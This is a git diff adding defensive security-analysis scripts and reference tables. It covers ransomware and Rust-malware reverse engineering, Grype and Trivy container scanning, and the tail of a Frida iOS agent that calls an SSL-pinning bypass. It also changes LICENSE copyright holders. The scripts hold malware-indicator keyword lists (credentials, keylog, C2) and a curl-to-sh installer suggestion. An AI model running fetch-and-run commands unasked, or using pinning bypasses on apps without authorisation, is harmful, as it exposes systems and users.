hooks installed'); +""" + result = self._frida_cmd(script, timeout=15) + if "Jailbreak check" in result.get("stdout", ""): + self.findings.append({"type": "Jailbreak Detection Present", + "severity": "Info"}) + return result + + def generate_report(self): + report = { + "target_app": self.target_app, + "report_date": datetime.utcnow().isoformat(), + "findings": self.findings, + } + report_path = self.output_dir / "frida_ios_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + app = sys.argv[1] if len(sys.argv) > 1 else "TargetApp" + agent = FridaIOSAgent(app) + agent.list_running_apps() + agent.bypass_ssl_pinning() + agent.check_jailbreak_detection() + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/reverse-engineering-malware-with-ghidra/LICENSE b/skills/reverse-engineering-malware-with-ghidra/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/reverse-engineering-malware-with-ghidra/LICENSE +++ b/skills/reverse-engineering-malware-with-ghidra/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/reverse-engineering-ransomware-encryption-routine/LICENSE b/skills/reverse-engineering-ransomware-encryption-routine/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/reverse-engineering-ransomware-encryption-routine/LICENSE +++ b/skills/reverse-engineering-ransomware-encryption-routine/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md b/skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md new file mode 100644 index 00000000..44ced3c5 --- /dev/null +++ b/skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Reverse Engineering Ransomware Encryption + +## Cryptographic Algorithm Constants + +| Algorithm | Signature | Description | +|-----------|-----------|-------------| +| AES | S-Box starting `0x63 0x7C 0x77` | AES Rijndael substitution box | +| RSA | DER `0x30 0x82` prefix | ASN.1 RSA key structure | +| ChaCha20/Salsa20 | `expand 32-byte k` | Stream cipher constant | +| RC4 | Sequential 0-255 state | Key scheduling algorithm init | + +## Encryption Analysis Techniques + +| Technique | Tool | Purpose | +|-----------|------|---------| +| Entropy analysis | `ent`, Python | Detect encrypted regions | +| Constant scanning | IDA/Ghidra YARA | Find crypto implementations | +| API tracing | x64dbg, Frida | Trace CryptEncrypt/BCrypt calls | +| Key extraction | Volatility3 | Dump keys from memory | + +## Ransomware Encryption Patterns + +| Pattern | Indicator | +|---------|-----------| +| Full encryption | Entropy > 7.9 across entire file | +| Intermittent | High entropy blocks with gaps | +| Header-only | First N bytes encrypted, rest plain | +| Appended metadata | File larger than original (key/IV at end) | + +## Common Ransomware Crypto + +| Family | Algorithm | Key Mgmt | +|--------|-----------|----------| +| LockBit 3.0 | AES-256-CBC + RSA-2048 | Per-file AES key, RSA-encrypted | +| BlackCat/ALPHV | ChaCha20 + RSA-4096 | Rust implementation | +| Royal | AES-256-CBC + RSA-2048 | Intermittent encryption | +| Akira | ChaCha20 | Partial file encryption | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `hashlib` | stdlib | SHA256 hashing | +| `struct` | stdlib | Binary data parsing | +| `re` | stdlib | Pattern extraction | +| `math` | stdlib | Shannon entropy calculation | + +## References + +- ID Ransomware: https://id-ransomware.malwarehunterteam.com/ +- NoMoreRansom Decryptors: https://www.nomoreransom.org/en/decryption-tools.html +- Ghidra: https://ghidra-sre.org/ diff --git a/skills/reverse-engineering-ransomware-encryption-routine/scripts/agent.py b/skills/reverse-engineering-ransomware-encryption-routine/scripts/agent.py new file mode 100644 index 00000000..689b3828 --- /dev/null +++ b/skills/reverse-engineering-ransomware-encryption-routine/scripts/agent.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +"""Agent for reverse engineering ransomware encryption routines. + +Identifies encryption algorithms, extracts key material from +memory dumps or binary analysis, detects IV/nonce patterns, +and documents the cryptographic implementation for decryptor +development. +""" + +import json +import sys +import re +import struct +import hashlib +from pathlib import Path +from datetime import datetime + + +CRYPTO_CONSTANTS = { + "AES S-Box": bytes([0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5]), + "AES Inv S-Box": bytes([0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38]), + "RSA Marker": b"\x30\x82", + "ChaCha20 Constant": b"expand 32-byte k", + "Salsa20 Constant": b"expand 32-byte k", + "RC4 State Init": bytes(range(8)), + "SHA256 Init H0": struct.pack(">I", 0x6a09e667), +} + +RANSOMWARE_PATTERNS = { + "file_extension_change": re.compile(rb'\.\w{3,10}(?=\x00)'), + "ransom_note_name": re.compile(rb'(?:README|RECOVER|DECRYPT|HOW.TO)[\w.-]*\.(?:txt|html|hta)', re.I), + "bitcoin_address": re.compile(rb'[13][a-km-zA-HJ-NP-Z1-9]{25,34}'), + "onion_url": re.compile(rb'[\w]{16,56}\.onion'), + "email_address": re.compile(rb'[\w.+-]+@[\w-]+\.[\w.]{2,}'), +} + + +class RansomwareREAgent: + """Analyzes ransomware encryption implementation.""" + + def __init__(self, sample_path, output_dir="./ransomware_re"): + self.sample_path = Path(sample_path) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def identify_crypto_algorithms(self): + """Scan binary for cryptographic algorithm constants.""" + data = self.sample_path.read_bytes() + detected = [] + + for name, constant in CRYPTO_CONSTANTS.items(): + offset = data.find(constant) + if offset != -1: + detected.append({ + "algorithm": name, + "offset": hex(offset), + "context": data[max(0, offset - 16):offset + len(constant) + 16].hex(), + }) + self.findings.append({ + "type": "Crypto Algorithm Detected", + "algorithm": name, "offset": hex(offset), + }) + return detected + + def extract_encryption_indicators(self): + """Extract ransomware-specific indicators from the binary.""" + data = self.sample_path.read_bytes() + indicators = {} + + for name, pattern in RANSOMWARE_PATTERNS.items(): + matches = pattern.findall(data) + if matches: + decoded = [] + for m in matches[:10]: + try: + decoded.append(m.decode("utf-8", errors="ignore")) + except (UnicodeDecodeError, AttributeError): + decoded.append(m.hex()) + indicators[name] = decoded + + return indicators + + def analyze_encrypted_file(self, encrypted_path, original_path=None): + """Analyze an encrypted file to determine encryption characteristics.""" + enc_data = Path(encrypted_path).read_bytes() + analysis = { + "file_size": len(enc_data), + "entropy": self._calculate_entropy(enc_data), + "header_bytes": enc_data[:64].hex(), + "footer_bytes": enc_data[-64:].hex() if len(enc_data) > 64 else "", + } + + if analysis["entropy"] > 7.9: + analysis["encryption_type"] = "Full file encryption" + elif analysis["entropy"] > 6.0: + analysis["encryption_type"] = "Partial/intermittent encryption" + else: + analysis["encryption_type"] = "Possibly not encrypted or header-only" + + if original_path and Path(original_path).exists(): + orig_data = Path(original_path).read_bytes() + analysis["size_difference"] = len(enc_data) - len(orig_data) + if analysis["size_difference"] > 0: + analysis["appended_bytes"] = analysis["size_difference"] + analysis["footer_metadata"] = enc_data[len(orig_data):len(orig_data) + 128].hex() + + return analysis + + def _calculate_entropy(self, data): + """Calculate Shannon entropy of data.""" + if not data: + return 0.0 + import math + freq = [0] * 256 + for byte in data: + freq[byte] += 1 + length = len(data) + entropy = 0.0 + for count in freq: + if count > 0: + p = count / length + entropy -= p * math.log2(p) + return round(entropy, 4) + + def extract_key_material(self, memory_dump_path=None): + """Search for potential encryption key material.""" + search_data = (Path(memory_dump_path).read_bytes() + if memory_dump_path else self.sample_path.read_bytes()) + potential_keys = [] + + for offset in range(0, min(len(search_data), 10_000_000), 16): + block = search_data[offset:offset + 32] + if len(block) < 16: + break + entropy = self._calculate_entropy(block) + if entropy > 4.5 and all(b != 0 for b in block[:16]): + if not all(b == block[0] for b in block[:16]): + potential_keys.append({ + "offset": hex(offset), + "length": len(block), + "entropy": entropy, + "sha256": hashlib.sha256(block).hexdigest()[:16], + }) + if len(potential_keys) >= 50: + break + + return potential_keys[:20] + + def generate_report(self): + crypto = self.identify_crypto_algorithms() + indicators = self.extract_encryption_indicators() + sha256 = hashlib.sha256(self.sample_path.read_bytes()).hexdigest() + + report = { + "sample": str(self.sample_path), + "sha256": sha256, + "report_date": datetime.utcnow().isoformat(), + "crypto_algorithms": crypto, + "ransomware_indicators": indicators, + "findings": self.findings, + } + report_path = self.output_dir / "ransomware_re_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [encrypted_file] [original_file]") + sys.exit(1) + agent = RansomwareREAgent(sys.argv[1]) + agent.generate_report() + if len(sys.argv) > 2: + orig = sys.argv[3] if len(sys.argv) > 3 else None + analysis = agent.analyze_encrypted_file(sys.argv[2], orig) + print(json.dumps(analysis, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/reverse-engineering-rust-malware/LICENSE b/skills/reverse-engineering-rust-malware/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/reverse-engineering-rust-malware/LICENSE +++ b/skills/reverse-engineering-rust-malware/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/reverse-engineering-rust-malware/references/api-reference.md b/skills/reverse-engineering-rust-malware/references/api-reference.md new file mode 100644 index 00000000..170b1fbf --- /dev/null +++ b/skills/reverse-engineering-rust-malware/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference: Reverse Engineering Rust Malware + +## Rust Binary Indicators + +| Indicator | Pattern | Description | +|-----------|---------|-------------| +| Panic strings | `panicked at` | Rust panic handler messages | +| Unwrap failure | `called.*unwrap.*on.*None` | Option/Result unwrap | +| Core panic | `core::panicking` | Standard library panic | +| Runtime start | `std::rt::lang_start` | Rust runtime entry point | +| Cargo registry | `.cargo/registry` | Crate dependency paths | +| Rustc version | `rustc X.Y.Z` | Compiler version string | + +## Crate Extraction Pattern + +| Pattern | Example Match | +|---------|---------------| +| `crates.io-/-` | `crates.io-abc123/reqwest-0.11.22` | +| `.cargo/registry/src//-` | `.cargo/registry/src/index.crates.io/aes-0.8.3` | + +## Suspicious Crate Capabilities + +| Crate | Capability | Malware Use | +|-------|-----------|-------------| +| reqwest / hyper | HTTP client | C2 communication | +| aes / chacha20 / rsa | Encryption | Ransomware encryption | +| ring | Crypto primitives | Key generation | +| winapi / winreg | Windows API | Persistence, injection | +| sysinfo | System info | Host enumeration | +| native-tls | TLS | Encrypted C2 channel | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `re` | stdlib | Pattern matching for Rust indicators | +| `struct` | stdlib | PE header parsing | +| `hashlib` | stdlib | SHA256 sample hashing | +| `json` | stdlib | Report generation | + +## References + +- Ghidra: https://ghidra-sre.org/ +- Binary Defense Rust Analysis: https://binarydefense.com/resources/blog/ +- Bishop Fox Rust Malware: https://bishopfox.com/blog/rust-for-malware-development diff --git a/skills/reverse-engineering-rust-malware/scripts/agent.py b/skills/reverse-engineering-rust-malware/scripts/agent.py new file mode 100644 index 00000000..64ff393a --- /dev/null +++ b/skills/reverse-engineering-rust-malware/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Agent for reverse engineering Rust-compiled malware. + +Identifies Rust binaries, extracts crate dependencies, locates +crypto/network/persistence patterns, and maps suspicious capabilities +for malware analysis reporting. +""" + +import json +import re +import struct +import sys +import hashlib +from pathlib import Path +from datetime import datetime + + +SUSPICIOUS_CRATES = { + "reqwest": "HTTP client (C2 communication)", + "hyper": "HTTP library (C2/exfiltration)", + "tokio": "Async runtime (concurrent operations)", + "aes": "AES encryption (ransomware/data theft)", + "chacha20": "ChaCha20 cipher (ransomware)", + "rsa": "RSA encryption (key exchange)", + "ring": "Crypto library (encryption)", + "base64": "Base64 encoding (data encoding)", + "winapi": "Windows API (system interaction)", + "winreg": "Registry access (persistence)", + "sysinfo": "System enumeration", + "screenshots": "Screen capture (spyware)", + "clipboard": "Clipboard access (data theft)", + "rusqlite": "SQLite access (credential theft)", + "native-tls": "TLS connections (encrypted C2)", +} + + +class RustMalwareREAgent: + """Reverse engineers Rust-compiled malware binaries.""" + + def __init__(self, sample_path, output_dir="./rust_re"): + self.sample_path = Path(sample_path) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + self.data = b"" + + def load_sample(self): + self.data = self.sample_path.read_bytes() + return len(self.data) + + def identify_rust_binary(self): + """Check if binary is Rust-compiled and extract version info.""" + indicators = { + "panicked_at": bool(re.search(rb"panicked at", self.data)), + "unwrap_none": bool(re.search(rb"called.*unwrap.*on.*None", self.data)), + "core_panic": bool(re.search(rb"core::panicking", self.data)), + "std_rt": bool(re.search(rb"std::rt::lang_start", self.data)), + "cargo_registry": bool(re.search(rb"\.cargo[/\\]registry", self.data)), + "rustc_version": None, + } + ver = re.search(rb"rustc\s+(\d+\.\d+\.\d+)", self.data) + if ver: + indicators["rustc_version"] = ver.group(1).decode() + is_rust = sum(1 for v in indicators.values() if v) >= 2 + if is_rust: + self.findings.append({ + "type": "Binary Identification", + "detail": "Rust-compiled binary confirmed", + "rustc_version": indicators["rustc_version"], + }) + return is_rust, indicators + + def extract_crates(self): + """Extract crate dependencies from binary strings.""" + pattern = re.compile( + rb"(?:crates\.io-[a-f0-9]+/|\.cargo/registry/src/[^/]+/)" + rb"([\w-]+)-(\d+\.\d+\.\d+)" + ) + crates = {} + for m in pattern.finditer(self.data): + crates[m.group(1).decode()] = m.group(2).decode() + + capabilities = [] + for name, desc in SUSPICIOUS_CRATES.items(): + if name in crates: + capabilities.append({ + "crate": name, + "version": crates[name], + "capability": desc, + }) + self.findings.append({ + "type": "Suspicious Crate", + "crate": name, + "capability": desc, + }) + return crates, capabilities + + def extract_suspicious_strings(self): + """Extract malware-relevant strings from the binary.""" + keywords = [ + "http", "socket", "encrypt", "decrypt", "shell", "exec", + "cmd", "upload", "download", "persist", "registry", "mutex", + "pipe", "inject", "ransom", "bitcoin", "wallet", "onion", + "tor", "password", "credential", "keylog", + ] + strings = [] + for m in re.finditer(rb"[\x20-\x7e]{8,500}", self.data): + s = m.group().decode("ascii") + if any(kw in s.lower() for kw in keywords): + strings.append(s) + return strings[:50] + + def detect_pe_sections(self): + """Parse PE sections if Windows binary.""" + if self.data[:2] != b"MZ": + return [] + try: + pe_offset = struct.unpack_from("") + sys.exit(1) + agent = RustMalwareREAgent(sys.argv[1]) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/scanning-container-images-with-grype/LICENSE b/skills/scanning-container-images-with-grype/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/scanning-container-images-with-grype/LICENSE +++ b/skills/scanning-container-images-with-grype/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/scanning-container-images-with-grype/references/api-reference.md b/skills/scanning-container-images-with-grype/references/api-reference.md new file mode 100644 index 00000000..3a5a08d0 --- /dev/null +++ b/skills/scanning-container-images-with-grype/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Scanning Container Images with Grype + +## Grype CLI Commands + +| Command | Description | +|---------|-------------| +| `grype ` | Scan a container image | +| `grype -o json` | JSON output for parsing | +| `grype -o sarif` | SARIF output for GitHub Security | +| `grype --fail-on critical` | Exit non-zero on severity | +| `grype --only-fixed` | Show only fixable vulns | +| `grype sbom:` | Scan a pre-generated SBOM | +| `grype dir:` | Scan a local directory | +| `grype db status` | Check vulnerability DB status | +| `grype db update` | Update vulnerability database | + +## Input Sources + +| Source | Syntax | Description | +|--------|--------|-------------| +| Registry | `grype nginx:latest` | Pull from registry | +| Docker daemon | `grype docker:myapp:1.0` | Local Docker image | +| Archive | `grype docker-archive:image.tar` | Saved tar archive | +| OCI dir | `grype oci-dir:path/` | OCI layout directory | +| SBOM | `grype sbom:bom.json` | CycloneDX/SPDX SBOM | +| Directory | `grype dir:/path/` | Filesystem scan | + +## Severity Levels + +| Level | CVSS Range | Action | +|-------|-----------|--------| +| Critical | 9.0 - 10.0 | Immediate remediation | +| High | 7.0 - 8.9 | Fix before deployment | +| Medium | 4.0 - 6.9 | Plan remediation | +| Low | 0.1 - 3.9 | Accept or fix later | +| Negligible | 0.0 | Informational | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute grype CLI | +| `json` | stdlib | Parse JSON output | +| `pathlib` | stdlib | File path handling | + +## References + +- Grype GitHub: https://github.com/anchore/grype +- Anchore Scan Action: https://github.com/anchore/scan-action +- Syft SBOM Generator: https://github.com/anchore/syft diff --git a/skills/scanning-container-images-with-grype/scripts/agent.py b/skills/scanning-container-images-with-grype/scripts/agent.py new file mode 100644 index 00000000..22d48843 --- /dev/null +++ b/skills/scanning-container-images-with-grype/scripts/agent.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""Agent for scanning container images with Anchore Grype. + +Runs Grype CLI against container images, parses JSON results, +applies severity thresholds, and generates vulnerability reports +with remediation guidance. +""" + +import json +import subprocess +import sys +from pathlib import Path +from datetime import datetime + + +class GrypeScanAgent: + """Scans container images for vulnerabilities using Grype.""" + + def __init__(self, output_dir="./grype_scan"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.results = [] + + def _run_grype(self, target, extra_args=None): + """Execute grype CLI and return parsed JSON output.""" + cmd = ["grype", target, "-o", "json", "--quiet"] + if extra_args: + cmd.extend(extra_args) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.returncode not in (0, 1): + return {"error": result.stderr.strip()} + return json.loads(result.stdout) if result.stdout.strip() else {} + except FileNotFoundError: + return {"error": "grype not found. Install: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh"} + except subprocess.TimeoutExpired: + return {"error": "Scan timed out after 300 seconds"} + except json.JSONDecodeError: + return {"error": "Failed to parse grype JSON output"} + + def scan_image(self, image_ref, fail_on=None, only_fixed=False): + """Scan a container image for vulnerabilities.""" + args = [] + if only_fixed: + args.append("--only-fixed") + raw = self._run_grype(image_ref, args) + if "error" in raw: + return raw + + matches = raw.get("matches", []) + vulns = [] + for m in matches: + vuln = m.get("vulnerability", {}) + artifact = m.get("artifact", {}) + vulns.append({ + "id": vuln.get("id", ""), + "severity": vuln.get("severity", "Unknown"), + "package": artifact.get("name", ""), + "version": artifact.get("version", ""), + "fixed_in": vuln.get("fix", {}).get("versions", []), + "type": artifact.get("type", ""), + }) + + summary = self._summarize(vulns) + scan_result = { + "image": image_ref, + "scan_date": datetime.utcnow().isoformat(), + "total_vulnerabilities": len(vulns), + "summary": summary, + "vulnerabilities": vulns, + } + + if fail_on: + sev_order = ["Critical", "High", "Medium", "Low", "Negligible"] + threshold_idx = sev_order.index(fail_on) if fail_on in sev_order else -1 + for sev in sev_order[:threshold_idx + 1]: + if summary.get(sev, 0) > 0: + scan_result["gate_status"] = "FAILED" + break + else: + scan_result["gate_status"] = "PASSED" + + self.results.append(scan_result) + return scan_result + + def scan_sbom(self, sbom_path): + """Scan a pre-generated SBOM file.""" + return self._run_grype(f"sbom:{sbom_path}") + + def scan_directory(self, dir_path): + """Scan a local directory for vulnerabilities.""" + return self._run_grype(f"dir:{dir_path}") + + def check_db_status(self): + """Check Grype vulnerability database status.""" + try: + result = subprocess.run( + ["grype", "db", "status"], capture_output=True, text=True, timeout=30 + ) + return {"status": result.stdout.strip()} + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return {"error": str(e)} + + def _summarize(self, vulns): + summary = {} + for v in vulns: + sev = v["severity"] + summary[sev] = summary.get(sev, 0) + 1 + return summary + + def generate_report(self): + report = { + "report_date": datetime.utcnow().isoformat(), + "scans": self.results, + "total_images": len(self.results), + } + out = self.output_dir / "grype_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--fail-on critical|high|medium]") + sys.exit(1) + + image = sys.argv[1] + fail_on = None + if "--fail-on" in sys.argv: + idx = sys.argv.index("--fail-on") + if idx + 1 < len(sys.argv): + fail_on = sys.argv[idx + 1].capitalize() + + agent = GrypeScanAgent() + result = agent.scan_image(image, fail_on=fail_on) + agent.generate_report() + + if result.get("gate_status") == "FAILED": + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/scanning-containers-with-trivy-in-cicd/LICENSE b/skills/scanning-containers-with-trivy-in-cicd/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/scanning-containers-with-trivy-in-cicd/LICENSE +++ b/skills/scanning-containers-with-trivy-in-cicd/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md b/skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md new file mode 100644 index 00000000..dc0d852e --- /dev/null +++ b/skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Scanning Containers with Trivy in CI/CD + +## Trivy CLI Commands + +| Command | Description | +|---------|-------------| +| `trivy image ` | Scan container image for vulnerabilities | +| `trivy config ` | Scan Dockerfiles/IaC for misconfigurations | +| `trivy fs ` | Scan filesystem for vulnerabilities | +| `trivy sbom ` | Scan existing SBOM for vulnerabilities | +| `trivy image --format sarif` | SARIF output for GitHub Security | +| `trivy image --format cyclonedx` | CycloneDX SBOM generation | +| `trivy image --exit-code 1` | Non-zero exit on findings | + +## Scan Options + +| Flag | Description | +|------|-------------| +| `--severity CRITICAL,HIGH` | Filter by severity level | +| `--ignore-unfixed` | Skip CVEs without patches | +| `--scanners vuln,misconfig,secret` | Select scanner types | +| `--format json/sarif/cyclonedx` | Output format | +| `--exit-code 1` | Fail pipeline on findings | +| `--skip-db-update` | Use cached vulnerability DB | +| `--cache-dir ` | Set database cache directory | + +## CI/CD Integration + +| Platform | Method | +|----------|--------| +| GitHub Actions | `aquasecurity/trivy-action@v0.28.0` | +| GitLab CI | `aquasec/trivy:latest` Docker image | +| Jenkins | Trivy CLI in pipeline script | +| Azure DevOps | Trivy CLI task | + +## Quality Gate Severities + +| Level | CVSS Range | Default Gate Action | +|-------|-----------|-------------------| +| CRITICAL | 9.0 - 10.0 | Block deployment | +| HIGH | 7.0 - 8.9 | Block deployment | +| MEDIUM | 4.0 - 6.9 | Warn | +| LOW | 0.1 - 3.9 | Allow | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute trivy CLI | +| `json` | stdlib | Parse scan results | +| `pathlib` | stdlib | Output file management | + +## References + +- Trivy Documentation: https://trivy.dev/docs/ +- Trivy GitHub Action: https://github.com/aquasecurity/trivy-action +- Trivy GitHub: https://github.com/aquasecurity/trivy diff --git a/skills/scanning-containers-with-trivy-in-cicd/scripts/agent.py b/skills/scanning-containers-with-trivy-in-cicd/scripts/agent.py new file mode 100644 index 00000000..f519c2ee --- /dev/null +++ b/skills/scanning-containers-with-trivy-in-cicd/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Agent for scanning containers with Trivy in CI/CD pipelines. + +Runs Trivy vulnerability and misconfiguration scans against +container images and Dockerfiles, enforces severity-based +quality gates, and generates CI/CD-compatible reports. +""" + +import json +import subprocess +import sys +from pathlib import Path +from datetime import datetime + + +class TrivyCICDAgent: + """Integrates Trivy scanning into CI/CD workflows.""" + + def __init__(self, output_dir="./trivy_cicd"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.scan_results = [] + + def _run_trivy(self, subcmd, target, extra_args=None): + """Execute trivy CLI and return parsed results.""" + cmd = ["trivy", subcmd, "--format", "json", "--quiet"] + if extra_args: + cmd.extend(extra_args) + cmd.append(target) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + if result.stdout.strip(): + return json.loads(result.stdout) + return {"error": result.stderr.strip() or "No output"} + except FileNotFoundError: + return {"error": "trivy not found. Install from https://trivy.dev"} + except subprocess.TimeoutExpired: + return {"error": "Trivy scan timed out after 600 seconds"} + except json.JSONDecodeError: + return {"error": "Failed to parse trivy JSON output"} + + def scan_image(self, image_ref, severity="CRITICAL,HIGH", ignore_unfixed=True): + """Scan a container image for vulnerabilities.""" + args = ["--severity", severity] + if ignore_unfixed: + args.append("--ignore-unfixed") + raw = self._run_trivy("image", image_ref, args) + if "error" in raw: + return raw + + vulns = [] + for result in raw.get("Results", []): + for v in result.get("Vulnerabilities", []): + vulns.append({ + "id": v.get("VulnerabilityID", ""), + "severity": v.get("Severity", "UNKNOWN"), + "package": v.get("PkgName", ""), + "installed": v.get("InstalledVersion", ""), + "fixed": v.get("FixedVersion", ""), + "title": v.get("Title", ""), + }) + + summary = {} + for v in vulns: + summary[v["severity"]] = summary.get(v["severity"], 0) + 1 + + scan = { + "image": image_ref, + "scan_type": "vulnerability", + "scan_date": datetime.utcnow().isoformat(), + "total": len(vulns), + "summary": summary, + "vulnerabilities": vulns, + } + self.scan_results.append(scan) + return scan + + def scan_config(self, path, severity="CRITICAL,HIGH"): + """Scan Dockerfiles or IaC for misconfigurations.""" + args = ["--severity", severity] + raw = self._run_trivy("config", path, args) + if "error" in raw: + return raw + + misconfigs = [] + for result in raw.get("Results", []): + for mc in result.get("Misconfigurations", []): + misconfigs.append({ + "id": mc.get("ID", ""), + "severity": mc.get("Severity", "UNKNOWN"), + "title": mc.get("Title", ""), + "message": mc.get("Message", ""), + "resolution": mc.get("Resolution", ""), + }) + + scan = { + "path": path, + "scan_type": "misconfiguration", + "scan_date": datetime.utcnow().isoformat(), + "total": len(misconfigs), + "misconfigurations": misconfigs, + } + self.scan_results.append(scan) + return scan + + def generate_sbom(self, image_ref, sbom_format="cyclonedx"): + """Generate an SBOM for a container image.""" + out_file = self.output_dir / f"sbom.{sbom_format}.json" + cmd = ["trivy", "image", "--format", sbom_format, + "--output", str(out_file), image_ref] + try: + subprocess.run(cmd, capture_output=True, text=True, timeout=300) + return {"sbom_path": str(out_file)} + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return {"error": str(e)} + + def enforce_quality_gate(self, severity_threshold="HIGH"): + """Check if any scan result exceeds the severity threshold.""" + sev_order = ["CRITICAL", "HIGH", "MEDIUM", "LOW"] + threshold_idx = sev_order.index(severity_threshold) if severity_threshold in sev_order else 0 + blocking_sevs = sev_order[:threshold_idx + 1] + + for scan in self.scan_results: + summary = scan.get("summary", {}) + for sev in blocking_sevs: + if summary.get(sev, 0) > 0: + return {"gate": "FAILED", "reason": f"{summary[sev]} {sev} findings in {scan.get('image', scan.get('path', ''))}"} + return {"gate": "PASSED"} + + def generate_report(self): + gate = self.enforce_quality_gate() + report = { + "report_date": datetime.utcnow().isoformat(), + "scans": self.scan_results, + "quality_gate": gate, + } + out = self.output_dir / "trivy_cicd_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--config ] [--severity CRITICAL,HIGH]") + sys.exit(1) + + agent = TrivyCICDAgent() + image = sys.argv[1] + severity = "CRITICAL,HIGH" + if "--severity" in sys.argv: + idx = sys.argv.index("--severity") + if idx + 1 < len(sys.argv): + severity = sys.argv[idx + 1] + + agent.scan_image(image, severity=severity) + + if "--config" in sys.argv: + idx = sys.argv.index("--config") + if idx + 1 < len(sys.argv): + agent.scan_config(sys.argv[idx + 1], severity=severity) + + report = agent.generate_report() + if report["quality_gate"]["gate"] == "FAILED": + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/scanning-docker-images-with-trivy/LICENSE b/skills/scanning-docker-images-with-trivy/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/scanning-docker-images-with-trivy/LICENSE +++ b/skills/scanning-docker-images-with-trivy/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/scanning-docker-images-with-trivy/references/api-reference.md b/skills/scanning-docker-images-with-trivy/references/api-reference.md new file mode 100644 index 00000000..6f15de54 --- /dev/null +++ b/skills/scanning-docker-images-with-trivy/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Scanning Docker Images with Trivy + +## Trivy Scanner Types + +| Scanner | Flag | Detects | +|---------|------|---------| +| Vulnerability | `--scanners vuln` | CVEs in OS packages and libraries | +| Misconfiguration | `--scanners misconfig` | Dockerfile/K8s misconfigs | +| Secret | `--scanners secret` | Hardcoded passwords, API keys | +| License | `--scanners license` | License compliance issues | + +## Core Commands + +| Command | Description | +|---------|-------------| +| `trivy image ` | Scan Docker image | +| `trivy image --input ` | Scan saved tar archive | +| `trivy image --format json` | JSON output | +| `trivy image --format sarif` | SARIF for GitHub Security | +| `trivy image --format cyclonedx` | CycloneDX SBOM | +| `trivy image --format spdx-json` | SPDX SBOM | +| `trivy image --exit-code 1 --severity CRITICAL` | 